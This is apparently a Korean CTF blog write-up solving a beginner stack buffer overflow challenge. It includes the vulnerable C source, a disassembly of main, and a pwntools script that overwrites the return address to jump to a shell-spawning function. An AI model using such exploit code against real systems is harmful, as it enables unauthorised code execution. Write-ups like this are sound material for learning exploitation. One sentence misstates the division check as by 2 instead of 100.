해당 문제도 SISS 부원 중 시스템 해킹을 처음 공부하고 있는 사람이 냈다고해서 풀어봤다.
실제 대회에서는 for beginner 태그가 붙었다고하니 아마 입문자들이 가장 먼저 도전해보지 않았을까 싶다
# 문제분석
- 주어진 소스코드
이미 소스코드가 주어졌기 때문에 우리는 실제 buf가 할당되는 크기만 확인해주면 어렵지 않게
문제를 해결할 수 있을 것이다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell()
{
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main()
{
char buf[0xFF];
int idx;
initialize();
memset(buf, 0, sizeof(buf));
scanf("%d", &idx);
if (idx/100 == 2){
read(0, buf + idx, 0x1000);
}
return 0;
}
idx를 2로 나눈 몫이 2와 같아야 read 함수를 통한 bof 공격이 가능하며,
이때 입력되는 주소가 buf의 시작주소+입력한 idx 이므로 계산할 때 주의해야할 것 같다
- checksec
checksec를 통해 확인해보았을 때 카나리나 스택 내 실행권한 등 신경써야 할 보호기법은 확인되지 않는다
# Exploit
- exploit 과정
pwndbg> disassemble main
Dump of assembler code for function main:
0x000000000040087d <+0>: push rbp
0x000000000040087e <+1>: mov rbp,rsp
0x0000000000400881 <+4>: sub rsp,0x110
0x0000000000400888 <+11>: mov eax,0x0
0x000000000040088d <+16>: call 0x4007e1 <initialize>
0x0000000000400892 <+21>: lea rax,[rbp-0x100]
0x0000000000400899 <+28>: mov edx,0xff
0x000000000040089e <+33>: mov esi,0x0
0x00000000004008a3 <+38>: mov rdi,rax
0x00000000004008a6 <+41>: call 0x400660 <memset@plt>
0x00000000004008ab <+46>: lea rax,[rbp-0x104]
0x00000000004008b2 <+53>: mov rsi,rax
0x00000000004008b5 <+56>: lea rdi,[rip+0xe9] # 0x4009a5
0x00000000004008bc <+63>: mov eax,0x0
0x00000000004008c1 <+68>: call 0x4006c0 <__isoc99_scanf@plt>
0x00000000004008c6 <+73>: mov eax,DWORD PTR [rbp-0x104]
0x00000000004008cc <+79>: sub eax,0xc8
0x00000000004008d1 <+84>: cmp eax,0x63
0x00000000004008d4 <+87>: ja 0x4008fa <main+125>
0x00000000004008d6 <+89>: mov eax,DWORD PTR [rbp-0x104]
0x00000000004008dc <+95>: cdqe
0x00000000004008de <+97>: lea rdx,[rbp-0x100] # buf의 시작주소
0x00000000004008e5 <+104>: add rax,rdx
0x00000000004008e8 <+107>: mov edx,0x1000
0x00000000004008ed <+112>: mov rsi,rax
0x00000000004008f0 <+115>: mov edi,0x0
0x00000000004008f5 <+120>: call 0x400680 <read@plt>
0x00000000004008fa <+125>: mov eax,0x0
0x00000000004008ff <+130>: leave
0x0000000000400900 <+131>: ret
End of assembler dump.
main 함수의 disassemble code를 확인했을 때,
C언어 코드에서는 buf의 크기가 0xFF로 지정되어 있었지만, 실제로 0x100만큼 할당되어 있음을 확인할 수 있다
read 함수를 통한 bof 공격을 위해 idx는 200이 되어야하한다
따라서 return address를 조작하기 위해 입력해야 할 dummy는 buf의 크기에서 200을 뺀 56개임을 확인할 수 있다.
exploit 흐름은 다음과 같다
1. idx로 200을 입력
2. read의 입력 값으로 '56개의 dummy+rbp(8)+ret(get_shell의 주소)'인 payload를 넘겨줌
- exploit code
exploit 흐름에 따라 작성한 exploit code는 다음과 같다
from pwn import *
p = process("./horcrux")
elf = ELF("./horcrux")
get_shell = elf.symbols['get_shell']
# if idx/100 == 2 => idx == 200
p.sendline('200')
# bof
payload = b"A"*56 + b"B"*8 + p64(get_shell)
p.send(payload)
p.interactive()
실제 서버에서 플래그를 획득한 모습은 다음과 같다
해당 문제는 buf에 저장되는 값이 꼭 buf의 시작주소로부터 입력되지 않을수도 있다는 교훈을 줄 수 있는 문제로
해킹을 처음하는 사람들이 wargame이나 CTF에서 습관적으로 코드를 짜다가 당황했을 수도 있지 않을까 싶은 문제였던 것 같다.
소스코드를 제공하지 않았다면 더 좋지 않았나 싶다 :)
'War Game & CTF > CTF-writeup' 카테고리의 다른 글
[2023 Hacking-Camp CTF / pwnable] step write-up (0) | 2023.02.14 |
---|